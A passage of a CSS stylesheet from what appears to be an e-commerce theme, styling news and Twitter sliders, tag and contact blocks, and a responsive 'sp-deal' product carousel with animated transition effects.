	content:"\f105";

	font-family:FontAwesome;

	font-size:28px

}

.block.lastestnews .bx-wrapper .bx-controls-direction a.bx-prev {

	left:-39px

}

.block.lastestnews .bx-wrapper .bx-controls-direction a.bx-prev:before {

	content:"\f104";

	font-family:FontAwesome;

	font-size:28px

}

.block.lastestnews .bx-wrapper:hover .bx-controls-direction a.bx-prev {

	left:-39px

}

.block.lastestnews .bx-wrapper:hover .bx-controls-direction a.bx-next {

	right:5px

}

.sp-twitter-slider {

	margin:0;

	padding:0;

	color:white

}

.sp-twitter-slider .ts-wrap {

	margin:0;

	padding:0

}

.sp-twitter-slider .ts-wrap .ts-header {

	text-align:center;

	margin:0;

	padding:0

}

.sp-twitter-slider .ts-wrap .ts-header h2 {

	margin:10px 0 5px 0;

	padding:0

}

.sp-twitter-slider .ts-header .ts-avatar {

	display:inline-block;

	margin:0 15px 0 0;

	overflow:hidden;

	position:relative;

	height:54px;

	width:54px

}

.sp-twitter-slider .ts-header .ts-userinfo {

	display:inline-block;

	vertical-align:top;

	text-align:left

}

.sp-twitter-slider .ts-header .ts-userinfo h2 {

	margin:0 0 5px 0;

	font-size:20px;

	font-weight:600;

	text-transform:uppercase;

	color:#fff

}

.sp-twitter-slider .ts-header .ts-userinfo a {

	color:#fff;

	font-size:14px

}

.sp-twitter-slider .ts-avatar img {

	width:100%;

	max-width:100%

}

.sp-twitter-slider .ts-avatar .ts-mask {

	border-radius:50%;

	box-shadow:0 0 0 0 rgba(38, 200, 255, 0.7) inset;

	display:block;

	height:60px;

	left:-4px;

	overflow:hidden;

	position:absolute;

	top:-4px;

	transition:all 0.4s ease-in-out 0s;

	width:60px

}

.sp-twitter-slider .ts-avatar:hover .ts-mask {

	box-shadow:0 0 0 73px rgba(38, 200, 255, 0.5) inset

}

.sp-twitter-slider .ts-avatar .ts-mask .ts-mask-logo {

	background:url("../images/twitter_logo.png") no-repeat scroll center center/0 auto transparent;

	display:block;

	height:60px;

	margin:0 auto;

	text-indent:-9999px;

	transition:all 0.4s ease-in-out 0s;

	width:60px

}

.sp-twitter-slider .ts-avatar:hover .ts-mask .ts-mask-logo {

	background-size:80% auto

}

.sp-twitter-slider .ts-slider-wrap {

	position:relative;

	overflow:hidden

}

.sp-twitter-slider .ts-slider-wrap .ts-items {

	position:relative;

	margin:0 10%;

	overflow:hidden

}

.sp-twitter-slider .ts-slider-wrap .ts-items > .item {

	position:relative;

	display:none;

	-webkit-transition:0.6s ease-in-out left;

	-moz-transition:0.6s ease-in-out left;

	-o-transition:0.6s ease-in-out left;

	transition:0.6s ease-in-out left

}

.sp-twitter-slider .ts-slider-wrap .ts-items > .item > img, .sp-twitter-slider .ts-slider-wrap .ts-items > .item > a > img {

	display:block;

	line-height:1

}

.sp-twitter-slider .ts-slider-wrap .ts-items > .active, .sp-twitter-slider .ts-slider-wrap .ts-items > .next, .sp-twitter-slider .ts-slider-wrap .ts-items > .prev {

	display:block

}

.sp-twitter-slider .ts-slider-wrap .ts-items > .active {

	left:0

}

.sp-twitter-slider .ts-slider-wrap .ts-items > .next, .sp-twitter-slider .ts-slider-wrap .ts-items > .prev {

	position:absolute;

	top:0;

	width:100%

}

.sp-twitter-slider .ts-slider-wrap .ts-items > .next {

	left:100%

}

.sp-twitter-slider .ts-slider-wrap .ts-items > .prev {

	left:-100%

}

.sp-twitter-slider .ts-slider-wrap .ts-items > .next.left, .sp-twitter-slider .ts-slider-wrap .ts-items > .prev.right {

	left:0

}

.sp-twitter-slider .ts-slider-wrap .ts-items > .active.left {

	left:-100%

}

.sp-twitter-slider .ts-slider-wrap .ts-items > .active.right {

	left:100%

}

.sp-twitter-slider .ts-slider-wrap .ts-control .ts-ctr {

	position:absolute;

	top:0;

	width:30px;

	height:30px;

	transition:0.3s all ease 0s;

	opacity:0.5

}

.sp-twitter-slider .ts-slider-wrap .ts-control .ts-ctr.ts-ctr-prev {

	background:url(../images/button_slider.png) no-repeat 0 0;

	left:15px

}

.sp-twitter-slider .ts-slider-wrap .ts-control .ts-ctr.ts-ctr-next {

	background:url(../images/button_slider.png) no-repeat 0 -30px;

	right:15px

}

.sp-twitter-slider .ts-slider-wrap .ts-control .ts-ctr:hover {

	opacity:1

}

.sp-twitter-slider .ts-slider-wrap .ts-items .item .ts-created {

	margin:0 auto;

	line-height:24px;

	width:100%;

	color:#fff

}

.sp-twitter-slider .ts-slider-wrap .ts-items .item .ts-created a {

	color:#fff;

	font-size:13px

}

.sp-twitter-slider .ts-slider-wrap .ts-control .ts-ctr:focus {

	outline:none

}

.sp-twitter-slider .ts-slider-wrap .ts-control .ts-ctr-pages {

	display:block;

	margin:10px auto;

	text-align:center

}

.sp-twitter-slider .ts-slider-wrap .ts-control .ts-ctr-pages li {

	display:inline-block;

	background:none repeat scroll 0 0 #999;

	border-radius:20px;

	cursor:grabbing;

	cursor:-webkit-grabbing;

	cursor:-moz-grabbing;

	height:12px;

	position:relative;

	text-indent:-9999px;

	width:12px;

	z-index:999;

	vertical-align:middle;

	margin:0 1px;

	text-decoration:none

}

.sp-twitter-slider .ts-slider-wrap a {

	color:white

}

.sp-twitter-slider .ts-slider-wrap .ts-control .ts-ctr-pages li.sel {

	background:none repeat scroll 0 0 #FFFFFF;

	border:2px solid #999;

	cursor:default;

	text-decoration:none

}

.sp-twitter-slider .ts-slider-wrap .ts-items .item {

	text-align:center;

	margin:10px;

	line-height:20px;

	overflow:hidden

}

.sp-twitter-slider .ts-slider-wrap .ts-items .item .ts-text, .sp-twitter-slider .ts-slider-wrap .ts-items .item .ts-btn {

	margin:0 0 5px 0;

	font-size:16px;

	line-height:24px;

	color:#fff;

	font-weight:500

}

.sp-twitter-slider .ts-slider-wrap .ts-items > .item .ts-btn a {

	font-size:13px;

	padding:0 2px;

	color:#fff;

	font-weight:normal

}

.sp-twitter-slider .ts-btn-follow {

	text-align:center

}

@media all and (max-width:479px) {

.sp-twitter-slider .ts-slider-wrap .ts-control .ts-ctr {

display:none

}

}

#homepage-slider {

	z-index:1

}

#homepage-slider .bx-wrapper .bx-controls-direction a:before {

	display:none

}

.bx-wrapper {

	position:relative

}

.bx-wrapper .bx-viewport {

	direction:ltr

}

.bx-wrapper .bx-viewport #homeslider {

	width:1000% !important

}

.bx-wrapper .bx-controls-direction a {

	display:block !important;

	height:36px;

	width:36px;

	color:transparent;

	position:absolute;

	top:48%;

	z-index:9;

	transition:0.3s all ease 0s;

	background-color:#575757 !important

}

.bx-wrapper .bx-controls-direction a.bx-prev {

	left:0;

	background:url(../images/button_prev.png) no-repeat 13px center

}

.bx-wrapper .bx-controls-direction a.bx-next {

	right:0;

	background:url(../images/button_next.png) no-repeat 13px center

}

div.tags_block {

	border:none;

	padding:0

}

div.tags_block .title_block {

	margin-bottom:20px

}

.tags_block .block_content {

	overflow:hidden

}

.tags_block .block_content a {

	display:inline-block;

	padding:7px 15px;

	text-transform:capitalize;

	float:left;

	margin:0 5px 5px 0;

	background:#eee;

	color:#444;

	border-radius:3px

}

.tags_block .block_content a:hover {

	color:white

}

.contact-infos {

	margin:0 0 10px;

	padding:15px 18px 18px;

	border:none;

	background:#e4e4e4

}

.contact-infos h3.mod-title {

	padding:0 !important

}

.contact-infos .pre-text {

	margin:0 0 6px

}

.contact-infos ul.list-contact li {

	padding:4px 0;

	color:#666

}

.contact-infos ul.list-contact li .label {

	font-size:15px;

	padding:0;

	margin:0;

	width:20px;

	display:inline-block

}

.contact-infos ul.list-contact li .label .fa-envelope {

	font-size:13px

}

.contact-infos ul.list-contact li a {

	color:#666

}

.sp-deal .preset02-1 .vpo-wrap {

	width:100%;

	margin:0

}

.sp-deal .preset02-1 .vpo-wrap .vp {

	margin-right:0

}

.sp-deal .preset02-1 .vpo-wrap .vp .item {

	float:left;

	margin:0;

	width:100%

}

.sp-deal .preset02-2 .vpo-wrap {

	width:50%;

	margin:0 -50% 0 0

}

.sp-deal .preset02-2 .vpo-wrap .vp {

	margin-right:-100%

}

.sp-deal .preset02-2 .vpo-wrap .vp .item {

	float:left;

	margin:0 1%;

	width:48%

}

.sp-deal .preset02-3 .vpo-wrap {

	width:33.3333%;

	margin:0 -66.6666% 0 0

}

.sp-deal .preset02-3 .vpo-wrap .vp {

	margin-right:-200%

}

.sp-deal .preset02-3 .vpo-wrap .vp .item {

	float:left;

	margin:0 1%;

	width:31.3333%

}

.sp-deal .preset02-4 .vpo-wrap {

	width:25%;

	margin:0 -75% 0 0

}

.sp-deal .preset02-4 .vpo-wrap .vp {

	margin-right:-300%

}

.sp-deal .preset02-4 .vpo-wrap .vp .item {

	float:left;

	margin:0 1%;

	width:23%

}

.sp-deal .preset02-5 .vpo-wrap {

	width:20%;

	margin:0 -80% 0 0

}

.sp-deal .preset02-5 .vpo-wrap .vp {

	margin-right:-400%

}

.sp-deal .preset02-5 .vpo-wrap .vp .item {

	float:left;

	margin:0 1%;

	width:18%

}

.sp-deal .preset02-6 .vpo-wrap {

	width:16.6666%;

	margin:0 -83.3333% 0 0

}

.sp-deal .preset02-6 .vpo-wrap .vp {

	margin-right:-500%

}

.sp-deal .preset02-6 .vpo-wrap .vp .item {

	float:left;

	margin:0 1%;

	width:14.6666%

}

.sp-deal .quick-view-wrapper-mobile {

	display:none

}

@media all and (max-width:320px) {

.sp-deal .quick-view-wrapper-mobile {

display:block

}

.sp-deal .preset05-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-deal .preset05-1 .vpo-wrap .vp {

margin-right:0

}

.sp-deal .preset05-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-deal .preset05-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-deal .preset05-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-deal .preset05-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-deal .preset05-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-deal .preset05-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-deal .preset05-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-deal .preset05-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-deal .preset05-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-deal .preset05-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-deal .preset05-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-deal .preset05-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-deal .preset05-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-deal .preset05-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-deal .preset05-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-deal .preset05-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

}

@media all and (max-width:479px) {

.sp-deal .quick-view-wrapper-mobile {

display:block

}

.sp-deal .preset04-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-deal .preset04-1 .vpo-wrap .vp {

margin-right:0

}

.sp-deal .preset04-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-deal .preset04-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-deal .preset04-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-deal .preset04-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-deal .preset04-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-deal .preset04-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-deal .preset04-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-deal .preset04-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-deal .preset04-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-deal .preset04-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-deal .preset04-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-deal .preset04-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-deal .preset04-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-deal .preset04-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-deal .preset04-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-deal .preset04-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

}

@media all and (min-width:480px) and (max-width:767px) {

.sp-deal .quick-view-wrapper-mobile {

display:block

}

.sp-deal .preset03-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-deal .preset03-1 .vpo-wrap .vp {

margin-right:0

}

.sp-deal .preset03-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-deal .preset03-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-deal .preset03-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-deal .preset03-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-deal .preset03-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-deal .preset03-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-deal .preset03-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-deal .preset03-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-deal .preset03-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-deal .preset03-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-deal .preset03-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-deal .preset03-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-deal .preset03-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-deal .preset03-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-deal .preset03-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-deal .preset03-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

}

@media all and (min-width:780px) and (max-width:1199px) {

.sp-deal .preset02-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-deal .preset02-1 .vpo-wrap .vp {

margin-right:0

}

.sp-deal .preset02-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-deal .preset02-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-deal .preset02-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-deal .preset02-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-deal .preset02-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-deal .preset02-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-deal .preset02-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-deal .preset02-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-deal .preset02-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-deal .preset02-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-deal .preset02-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-deal .preset02-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-deal .preset02-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-deal .preset02-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-deal .preset02-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-deal .preset02-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

.left-algn {
    float: left;
}

}

@media all and (min-width:1200px) {

.sp-deal .preset01-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-deal .preset01-1 .vpo-wrap .vp {

margin-right:0

}

.sp-deal .preset01-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-deal .preset01-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-deal .preset01-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-deal .preset01-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-deal .preset01-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-deal .preset01-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-deal .preset01-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-deal .preset01-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-deal .preset01-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-deal .preset01-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-deal .preset01-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-deal .preset01-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-deal .preset01-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-deal .preset01-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-deal .preset01-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-deal .preset01-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

}

.sp-deal {

	position:relative

}

.sp-deal.sp-preload {

	height:300px;

	position:relative;

	overflow:hidden

}

.sp-deal.sp-preload .sp-loading {

	position:absolute;

	z-index:10;

	background:url(../images/loading.gif) no-repeat scroll center center white;

	top:0;

	bottom:0;

	width:100%

}

.sp-deal .slider {

	overflow:hidden;

	position:relative;

	margin:20px -8px;

	z-index:8

}

.sp-deal .slider .item {

	background-size:100% 100%

}

.sp-deal .slider .item img {

	width:100%;

	vertical-align:middle

}

.sp-deal .slider .item img:hover {

	cursor:pointer

}

.sp-deal .slider .vpo-wrap .vp {

	position:relative;

	overflow:hidden;

	height:auto

}

.sp-deal .slider .vpo-wrap .vp .vpi-wrap {

	white-space:nowrap;

	font-size:0 !important;

	position:absolute;

	top:0;

	left:0;

	width:100%;

	height:100%

}

.sp-deal .slider .vpo-wrap .vp .item {

	margin-bottom:2%;

	display:inline-block;

	font-size:medium;

	white-space:normal;

	vertical-align:top;

	float:none;

	overflow:hidden

}

.sp-deal .slider .vpo-wrap .vpi-wrap:after {

	display:block;

	height:0;

	line-height:0;

	content:'';

	clear:both

}

.sp-deal .not-js .vpo-wrap, .sp-deal .not-js .vpo-wrap .vp, .sp-deal .not-js .vpo-wrap .vp .vpi-wrap, .sp-deal .not-js .vpo-wrap .vp .item {

	position:static

}

.sp-deal .not-js .vpo-wrap .vp .item {

	float:left

}

.sp-deal #to li a {

	outline:none

}

.page-title-slider {

	color:#2E2C2D;

	text-transform:uppercase;

	font-size:13px;

	font-weight:bold;

	overflow:hidden;

	width:75%;

	margin:10px 0 8px 0

}

.sp-deal .control-button {

	list-style:none outside none;

	margin-bottom:0;

	margin-left:0

}

.sp-deal .page-button .control-button {

	text-indent:-999999px;

	margin-bottom:0;

	position:relative;

	height:100%

}

.sp-deal .page-button.top, .sp-deal .page-button.bottom {

	margin-right:0;

	position:absolute;

	top:50%;

	width:100%

}

.sp-deal .page-button.bottom {

	top:44%

}

.sp-deal .page-button.top .control-button .preview, .sp-deal .page-button.top .control-button .next {

	width:36px;

	height:36px;

	display:inline-block;

	line-height:35px;

	text-align:center;

	border:1px solid #ddd;

	font-size:22px;

	color:#ddd;

	cursor:pointer;

	transition:0.3s;

	-moz-transition:0.3s;

	-webkit-transition:0.3s;

	background-color:#fff;

	z-index:9;

	margin:10px 0

}

.sp-deal .page-button.top .control-button .preview:before {

	content:"\f104";

	display:block;

	position:absolute;

	font-family:FontAwesome

}

.sp-deal .page-button.top .control-button .next:before {

	content:"\f105"

}

.sp-deal .page-button.middle {

	right:10px;

	left:10px;

	position:absolute;

	top:0;

	bottom:0

}

.sp-deal .page-button.bottom .control-button .preview, .sp-deal .page-button.bottom .control-button .next {

	top:10px

}

.sp-deal .page-button.middle .control-button .preview {

	top:50%;

	z-index:9;

	left:0

}

.sp-deal .page-button.middle .control-button .next {

	top:50%;

	z-index:9;

	right:0

}

.sp-deal .page-button.style2 .control-button .preview {

	background-position:-180px 0;

	width:22px;

	height:20px;

	right:21px;

	z-index:9

}

.sp-deal .page-button.style2 .control-button .next {

	background-position:-210px 0;

	width:22px;

	height:20px;

	z-index:9

}

.sp-deal .page-button.style3 .control-button .preview {

	background-position:-60px 0;

	width:14px;

	height:21px;

	right:15px;

	z-index:9

}

.sp-deal .page-button.style3 .control-button .next {

	background-position:-90px 0;

	width:12px;

	height:21px;

	z-index:9

}

.sp-deal .page-button .control-button .preview:hover, .sp-deal .page-button .control-button .next:hover, .sp-deal .page-button.style2 .control-button .preview:hover, .sp-deal .page-button.style2 .control-button .next:hover {

	cursor:pointer;

	opacity:1;

	filter:alpha(opacity=100)

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap {

	width:100%;

	position:relative

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-img {

	border:1px solid #DDDDDD;

	padding:9px;

	position:relative

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-img:hover {

	-webkit-box-shadow:rgba(0, 0, 0, 0.17) 0 0 13px;

	-moz-box-shadow:rgba(0, 0, 0, 0.17) 0 0 13px;

	-o-box-shadow:rgba(0, 0, 0, 0.17) 0 0 13px;

	box-shadow:rgba(0, 0, 0, 0.17) 0 0 13px

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info {

	margin-top:10px;

	font-size:14px

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info .item-title {

	margin-bottom:5px;

	text-transform:uppercase

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info .item-content {

	margin:0

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info .item-content .item-des {

	margin-bottom:5px

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info .item-content .item-details {

	text-align:right

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight {

	position:absolute;

	left:0;

	bottom:0;

	padding:10px 0 10px 0;

	width:100%

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-inner {

	position:relative;

	padding:8px 10px 0 10px;

	overflow:hidden;

	margin-right:10px;

	margin-left:10px

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-content, .sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-content a, .sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-title a, .sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-title {

	position:relative;

	color:white;

	z-index:2

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-content {

	padding-bottom:2px;

	height:0;

	-webkit-transition:all 3s;

	-moz-transition:all 3s;

	-ms-transition:all 3s;

	-o-transition:all 3s;

	transition:all 3s

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight:hover .item-content {

	height:auto

}

.sp-deal .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-bg {

	position:absolute;

	bottom:0;

	left:0;

	background:#000;

	opacity:0.7;

	filter:alpha(opacity=70);

	height:100%;

	width:100%;

	z-index:1

}

.sp-deal .item-review {

	margin:0 0 5px 0;

	line-height:22px

}

.sp-deal .item-review .ratings .rating-links, .sp-deal .item-review .ratings {

	margin:0 0 0 0

}

.sp-deal .add-to-links {

	list-style:none outside none;

	margin:0;

	padding:0

}

.sp-deal .ratings .rating-box {

	margin-right:5px

}

.sp-deal .item-review {

	vertical-align:middle;

	overflow:hidden

}

.sp-deal .item-btn-addtocart {

	margin-bottom:5px

}

.sp-deal .wishlist {

	margin:10px 0

}

.sp-deal .compare {

	margin-bottom:10px

}

.pretext-slider {

	margin:10px 0 10px 0

}

.postext-slider {

	margin:10px 0 10px 0

}

.sp-deal .control-button:after {

	clear:both

}

.sp-deal .control-button:before, .sp-deal .control-button:after {

	content:"";

	display:table

}

.sp-deal .compare, .sp-deal .wishlist {

	margin:5px 0 5px 0

}

.cf:before, .cf:after {

	content:" ";

	display:table

}

.cf:after {

	clear:both

}

.sp-deal .item-info .content_price {

	margin-bottom:10px

}

.sp-deal .item-info.item-spotlight .price.product-price {

	line-height:30px;

	color:#FFF

}

.sp-deal .item-info.item-spotlight .old-price {

	color:#DDD

}

.sp-deal a.quick-view:hover {

	cursor:pointer

}

.sp-deal .quick-view-wrapper-mobile {

	background-color:transparent;

	bottom:0;

	height:155px;

	overflow:hidden;

	position:absolute;

	right:0;

	width:215px;

	z-index:2

}

.sp-deal .quick-view-wrapper-mobile a {

	background-color:rgba(208, 208, 211, 0.57);

	display:block;

	height:130px;

	pointer-events:all;

	position:relative;

	right:-162px;

	top:80px;

	transform:rotate(45deg);

	width:85px

}

.sp-deal .quick-view-wrapper-mobile a:hover {

	background-color:rgba(125, 125, 125, 0.57)

}

.sp-deal .quick-view-wrapper-mobile a i {

	bottom:0;

	color:black;

	display:inline-block;

	font-size:x-large;

	height:22px;

	left:9px;

	overflow:hidden;

	position:absolute;

	right:10px;

	top:46px;

	transform:rotate(-44deg);

	width:30px;

	z-index:2

}

.sp-deal .new-box {

	left:0;

	top:0;

	z-index:2

}

.sp-deal .sale-box {

	right:0;

	top:0;

	z-index:2

}

.sp-deal .item-time {

	position:absolute;

	bottom:5px;

	left:5px;

	right:5px;

	background-color:#f13340 l

}

.sp-deal .item-timer {

	background-color:#eee

}

.sp-deal .item-timer .time-item {

	float:left;

	width:21%;

	background:none repeat scroll 0 0 #eee;

	border-bottom:1px solid #fff;

	float:left;

	font-size:20px;

	font-weight:400;

	line-height:40px;

	text-align:center

}

.sp-deal .num-time {

	border-bottom:2px solid #FFF

}

.sp-deal .name-time {

	font-size:12px;

	font-weight:300

}

.sp-deal .item .item-wrap:nth-child(2) {

z-index:1;

visibility:hidden

}

.sp-deal .tt-effect-active .item .item-wrap {

	pointer-events:none

}

.tt-effect-fall.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:fallDown 0.6s forwards;

animation:fallDown 0.6s forwards

}

.tt-effect-fall.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-fall.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-animation:scaleUpFadeIn 0.6s forwards;

animation:scaleUpFadeIn 0.6s forwards

}

.tt-effect-fallrotate.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

z-index:10;

-webkit-transform-origin:0 0;

transform-origin:0 0;

-webkit-animation:fallRotate 0.6s ease-in forwards;

animation:fallRotate 0.6s ease-in forwards

}

.tt-effect-fallrotate.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-fallrotate.tt-effect-active .item.tt-empty .item-wrap {

visibility:visible

}

.tt-effect-fallrotate.tt-effect-active .item.tt-empty .item-wrap {

	opacity:0;

	-webkit-animation:fadeIn 0.6s forwards;

	animation:fadeIn 0.6s forwards

}

.tt-effect-fallrotate .item:nth-child(4) {

z-index:1

}

.tt-effect-fallrotate .item:nth-child(5) {

z-index:2

}

.tt-effect-fallrotate .item:nth-child(6) {

z-index:3

}

.tt-effect-fallrotate .item:first-child {

	z-index:4

}

.tt-effect-fallrotate .item:nth-child(2) {

z-index:5

}

.tt-effect-fallrotate .item:nth-child(3) {

z-index:6

}

.tt-effect-scalerotate.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:scaleRotateOut 0.6s forwards;

animation:scaleRotateOut 0.6s forwards

}

.tt-effect-scalerotate.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-scalerotate.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-animation:scaleRotateIn 0.6s forwards;

animation:scaleRotateIn 0.6s forwards

}

.tt-effect-scalerotate.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:scaleRotateIn 0.6s forwards;

animation:scaleRotateIn 0.6s forwards

}

.tt-effect-scalerotate .item:nth-child(-n+3) {

z-index:2

}

.tt-effect-scalerotate .item:nth-last-child(-n+3) {

z-index:1

}

.tt-effect-stackback .item {

	-webkit-perspective:1000px;

	perspective:1000px

}

.tt-effect-stackback .item .item-wrap {

	-webkit-transform-style:preserve-3d;

	transform-style:preserve-3d;

	-webkit-backface-visibility:hidden;

	backface-visibility:hidden

}

.tt-effect-stackback.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:moveLeft 0.8s forwards;

animation:moveLeft 0.8s forwards

}

.tt-effect-stackback.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-stackback.tt-effect-active .item.tt-empty .item-wrap {

z-index:-1;

-webkit-animation:popUp 0.8s ease-in forwards;

animation:popUp 0.8s ease-in forwards

}

.tt-effect-stackback.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:moveLeft 0.8s forwards;

animation:moveLeft 0.8s forwards

}

.tt-effect-stackback.tt-effect-active .item.tt-empty .item-wrap {

	opacity:0;

	-webkit-animation:fadeIn 0.8s forwards;

	animation:fadeIn 0.8s forwards

}

.tt-effect-3dflip .item {

	-webkit-perspective:1000px;

	perspective:1000px

}

.tt-effect-3dflip .item .item-wrap {

	-webkit-transform-style:preserve-3d;

	transform-style:preserve-3d;

	-webkit-backface-visibility:hidden;

	backface-visibility:hidden

}

.tt-effect-3dflip.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-transform-origin:0 50%;

